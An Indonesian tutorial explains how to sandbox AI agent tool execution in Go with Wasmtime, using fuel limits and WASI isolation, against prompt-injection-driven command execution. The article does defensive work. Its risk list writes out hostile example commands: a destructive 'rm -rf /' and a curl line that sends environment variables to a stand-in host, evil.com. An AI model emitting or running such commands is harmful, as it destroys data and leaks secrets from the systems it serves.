AizuDemy

Tutorial WASM Sandboxing di Go: Amankan Tool Execution AI Agent

Tutorial WASM Sandboxing di Go: Amankan Tool Execution AI Agent
IKLAN
IDCloudHost
๐ŸŽง
Dengarkan Artikel Ini
Suara AI Otomatis โ€ข 7 mnt baca baca
โšก TL;DR

Poin Kunci Artikel Ini:

  • Filesystem milik host OS.
  • Jaringan atau network socket.
  • Variabel environment host.
๐Ÿ“‹ Daftar Isi Materi Tutup โ–ด

Skenario Buruk: AI Agent Bajak Server Host

Jam tiga pagi alarm PagerDuty berbunyi. Server Go mendadak lambat. CPU utilization tembus 100%. File environment variabel berisi rahasia database terkirim ke IP asing. Setelah analisa log, biang keroknya terungkap: AI Agent hasil deploy kemarin sore.

Agent ini punya fitur execution tool. Tugasnya cuma jalanin kalkulasi matematika atau manipulasi teks sederhana. Tapi user jahat kirim prompt injection. Model LLM terkecoh. Output JSON dari LLM berisi perintah shell berbahaya. Server Go terima JSON itu, lalu langsung eksekusi lewat os/exec di OS host.

Hasilnya: Remote Code Execution (RCE) instan. AI Agent langsung berubah jadi pintu masuk peretas. Kejadian ini nyata. Semua AI engineer dan backend developer Go hadapi risiko ini saat buat fitur tool calling.

Anatomi Bahaya Unsafe AI Tool Calling

Saat integrasi LLM seperti GPT-4, Claude, atau model lokal via Ollama ke aplikasi Go, fitur function calling sering dipakai. Fitur ini beri izin ke agent buat jalankan kode, ambil data, atau panggil API luar untuk selesaikan tugas.

Pola paling berbahaya yang sering ada di production: terima string kode dari LLM, tulis ke file sementara, lalu eksekusi langsung di OS host pakai bash atau runtime interpreter lokal. Pola ini simpan celah keamanan fatal.

  • Command Injection via Prompt: User manipulasi prompt agar LLM cetak perintah sistem seperti rm -rf / atau curl http://evil.com/env?data=$(env).
  • Akses Tanpa Batas ke Host Filesystem: Proses Go yang jalan tanpa isolasi bikin kode buatan LLM bisa baca file /etc/passwd, SSH key, atau variabel environment berisi API key.
  • Resource Exhaustion (DoS): Kode hasil LLM bisa kena infinite loop atau alokasi memori berlebih. Dampaknya seluruh aplikasi Go crash kena Out-Of-Memory (OOM).
  • Overhead Container Terlalu Tinggi: Bungkus tiap eksekusi fungsi pakai Docker container butuh waktu startup 500ms sampai 2 detik. Konsumsi RAM juga sangat boros.

Aplikasi butuh isolasi ringan (lightweight sandboxing). Perlu waktu booting hitungan mikrodetik, konsumsi RAM kecil, dan tingkat keamanan ketat. WebAssembly (WASM) jawab kebutuhan ini.

WebAssembly (WASM): Solusi Sandbox Terbaik di Server

WASM awalnya buat eksekusi kode cepat di browser. Lewat standar WASI (WebAssembly System Interface), WASM kini jadi runtime sandbox paling ampuh di server side.

Arsitektur WASM pakai model deny-by-default capability-based security. Kode di dalam modul WASM secara default tidak punya akses ke:

  • Filesystem milik host OS.
  • Jaringan atau network socket.
  • Variabel environment host.
  • Direct system call (syscall) OS.

Jika kode WASM coba akses file atau jaringan tanpa izin eksplisit dari host runner (aplikasi Go kita), engine WASM langsung menolak akses tersebut. Wasmtime adalah engine WASM tercepat dan paling aman yang dikembangkan oleh Bytecode Alliance.

Integrasi Wasmtime Engine di Aplikasi Go

Berikut langkah praktis bangun runtime WASM terisolasi menggunakan SDK wasmtime-go.

1. Install Dependency

Jalankan perintah ini di terminal proyek Go Anda untuk mengunduh library Wasmtime Go SDK:

go get github.com/bytecodealliance/wasmtime-go/v20

2. Siapkan Modul WASM

Kompilasi kode C, Rust, atau Go (via TinyGo) ke target binary WASM. Misal fungsi ini terima dua angka lalu kembalikan hasil penjumlahan. Simpan file binary hasil kompilasi dengan nama calculator.wasm.

3. Muat dan Jalankan WASM dari Go

Berikut contoh kode Go dasar untuk memuat dan mengeksekusi modul WASM:

package main

import (
	"fmt"
	"os"

	"github.com/bytecodealliance/wasmtime-go/v20"
)

func main() {
	// 1. Inisialisasi Engine
	engine := wasmtime.NewEngine()

	// 2. Baca file binary WASM
	wasmBytes, err := os.ReadFile("calculator.wasm")
	if err != nil {
		panic(err)
	}

	// 3. Kompilasi modul WASM ke memori
	module, err := wasmtime.NewModule(engine, wasmBytes)
	if err != nil {
		panic(err)
	}

	// 4. Buat Store sebagai konteks eksekusi
	store := wasmtime.NewStore(engine)

	// 5. Instansiasi modul tanpa akses ke host OS
	linker := wasmtime.NewLinker(engine)
	instance, err := linker.Instantiate(store, module)
	if err != nil {
		panic(err)
	}

	// 6. Ambil fungsi yang diekspos modul WASM
	addFunc := instance.GetFunc(store, "add")
	if addFunc == nil {
		panic("fungsi 'add' tidak ditemukan di modul WASM")
	}

	// 7. Eksekusi fungsi dengan aman di dalam sandbox
	result, err := addFunc.Call(store, 10, 25)
	if err != nil {
		panic(err)
	}

	fmt.Printf("Hasil eksekusi WASM sandbox: %v\n", result)
}

Kode di atas berhasil mengeksekusi modul WASM secara terisolasi. Tapi untuk menangani kode dinamis dari AI Agent di lingkungan produksi, sandbox perlu diperketat lagi menggunakan pembatasan konsumsi resource.

Proteksi Lanjutan: CPU Fuel Limit, Memory Limit & WASI

Kode yang dihasilkan AI Agent bisa terjebak infinite loop atau mencoba mengalokasikan RAM raksasa. Engine Wasmtime menyediakan kontrol presisi untuk menghentikan ancaman ini.

1. Batasi CPU via Fuel Consumption

Wasmtime pakai konsep Fuel (bahan bakar). Tiap instruksi WebAssembly yang dieksekusi mengonsumsi 1 unit fuel. Kita bisa set total fuel maksimum. Jika fuel habis sebelum instruksi selesai, runtime langsung memotong eksekusi dan mengembalikan error out of fuel.

2. Batasi RAM via Memory Limits

Alokasi RAM maksimal bisa dikunci di level Store (misalnya 16MB atau 32MB). Modul WASM yang mencoba minta RAM melebihi batas ini akan langsung ditolak oleh runtime.

3. Restriksi WASI Syscall

Konfigurasi WASI mengatur izin file dan environment variable. Izinkan hanya stdout/stderr untuk menangkap output tanpa memberikan akses ke direktori host OS.

Berikut kode Go lengkap dengan batasan Fuel, Memory, dan isolasi ketat WASI:

package main

import (
	"fmt"
	"os"

	"github.com/bytecodealliance/wasmtime-go/v20"
)

func main() {
	// 1. Buat Konfigurasi Engine dengan fitur Fuel Consumption
	config := wasmtime.NewConfig()
	config.SetConsumeFuel(true)

	engine := wasmtime.NewEngineWithConfig(config)
	store := wasmtime.NewStore(engine)

	// 2. Set Batas CPU (Fuel Limit: Maksimal 1,000,000 instruksi)
	// Jika kode AI Agent mengalami infinite loop, eksekusi diputus paksa.
	err := store.SetFuel(1_000_000)
	if err != nil {
		panic(err)
	}

	// 3. Konfigurasi WASI dengan Isolasi Total
	wasiConfig := wasmtime.NewWasiConfig()
	// Blokir akses environment variable host
	// Blokir akses direktori filesystem host
	// Hanya izinkan stdout/stderr untuk ekstras pemanggilan print
	wasiConfig.InheritStdout()
	wasiConfig.InheritStderr()

	store.SetWasi(wasiConfig)

	// 4. Baca file WASM buatan AI Tool
	wasmBytes, err := os.ReadFile("untrusted_agent_tool.wasm")
	if err != nil {
		fmt.Printf("Gagal membaca file WASM: %v\n", err)
		return
	}

	module, err := wasmtime.NewModule(engine, wasmBytes)
	if err != nil {
		fmt.Printf("Modul WASM tidak valid: %v\n", err)
		return
	}

	linker := wasmtime.NewLinker(engine)
	err = linker.DefineWasi()
	if err != nil {
		panic(err)
	}

	instance, err := linker.Instantiate(store, module)
	if err != nil {
		panic(err)
	}

	// 5. Ambil entry point eksekusi
	runFunc := instance.GetFunc(store, "_start")
	if runFunc == nil {
		runFunc = instance.GetFunc(store, "run")
	}

	// 6. Jalankan fungsi di dalam sandbox
	_, err = runFunc.Call(store)
	if err != nil {
		// Tangkap error batasan resource atau pelanggaran keamanan
		fmt.Printf("Eksekusi WASM dihentikan oleh Sandbox: %v\n", err)
		return
	}

	// 7. Cek sisa Fuel untuk analisis performa
	sisaFuel, _ := store.FuelConsumed()
	fmt.Printf("Eksekusi sukses. Fuel terpakai: %d\n", sisaFuel)
}

Analogi Sederhana Proteksi WASM

Bayangkan Anda menyewa tukang (AI Agent) untuk memperbaiki kunci pintu rumah. Menggunakan os/exec langsung itu sama seperti memberikan kunci utama seluruh ruangan rumah kepada tukang tersebut. Dia bebas masuk kamar, membuka brankas, atau mengacak-acak instalasi listrik Anda.

Menggunakan WASM Sandboxing seperti menyediakan kontainer besi terisolasi di luar rumah. Anda masukkan pintu yang rusak ke dalam kontainer, lalu minta tukang bekerja di dalam kontainer tersebut. Tukang tidak punya akses ke rumah utama. Jika ada api menyala di dalam kontainer, sistem pemadam otomatis (Fuel Limit) langsung menyiramnya dalam hitungan milidetik tanpa mengganggu rumah Anda sedikit pun.

Checklist Best Practice Amankan AI Tooling

Menjalankan kode yang dirakit oleh LLM tanpa isolasi adalah bom waktu. RCE dapat merusak reputasi aplikasi dan membocorkan data sensitif pengguna.

Langkah Keamanan Wajib AI Agent:

  • Prinsip Hak Akses Minimal: Jangan pernah panggil os/exec atau exec.Command langsung untuk eksekusi kode buatan LLM.
  • Kompilasi Tool ke Target WASM: Pastikan seluruh tool dinamis dikompilasi ke target wasm32-wasi atau wasm32-unknown-unknown.
  • Set Batasan Resource Ketat: Selalu panggil SetFuel untuk membatasi instruksi CPU dan batasi RAM di level Store.
  • Isolasi Jaringan dan Disk: Matikan akses socket jaringan mentah dan jangan mount direktori sensitif host ke instance WASI.

Langkah Konkret: Ganti semua fungsi os/exec yang mengeksekusi kode dari AI Agent di aplikasi Go Anda menggunakan Wasmtime Go SDK bermode fuel-restricted sekarang juga.

A
Aizu Dev

Tim penulis AizuDemy yang menyajikan tutorial teknologi, cloud, dan pengembangan perangkat lunak dalam Bahasa Indonesia.

๐Ÿ“– Artikel Terkait